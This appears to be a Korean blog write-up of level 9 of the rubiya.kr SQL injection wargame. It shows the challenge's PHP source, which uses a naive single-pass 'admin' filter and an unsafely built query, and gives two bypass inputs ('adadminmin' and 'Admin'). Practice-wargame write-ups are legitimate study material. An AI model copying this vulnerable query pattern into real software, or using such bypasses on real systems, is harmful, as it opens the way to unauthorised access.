webhacking/sql, sql injection

rubiya.kr 9번

qkqhxla1 2014. 8. 28. 14:32

http://rubiya.kr/sqli/prob9.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~"); 
  
$_GET[id] = str_replace("admin","",$_GET[id]); 
  
$query "select id from prob9 where id='{$_GET[id]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve(); 
  
highlight_file(__FILE__); 
?>


id를 받아서 admin이라는 문자열이 있으면 공백으로 바꾼 후에 쿼리를 돌려서


id가 admin이면 통과. 


rubiya님은 adadminmin 이런것처럼 필터링을 한번 거르면 admin이 나와서 통과.... 를 의도?


하신건지 모르겠지만 8번과 마찬가지로 그냥 Admin으로 해도 통과된다...


http://rubiya.kr/sqli/prob9.php?id=adadminmin


query : select id from prob9 where id='admin'



http://rubiya.kr/sqli/prob9.php?id=Admin


query : select id from prob9 where id='Admin'

'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 11번.  (0) 2014.08.28
rubiya.kr 10번.  (0) 2014.08.28
rubiya.kr 8번.  (0) 2014.08.28
rubiya.kr 7번  (0) 2014.08.28
rubiya.kr 6번  (0) 2014.08.28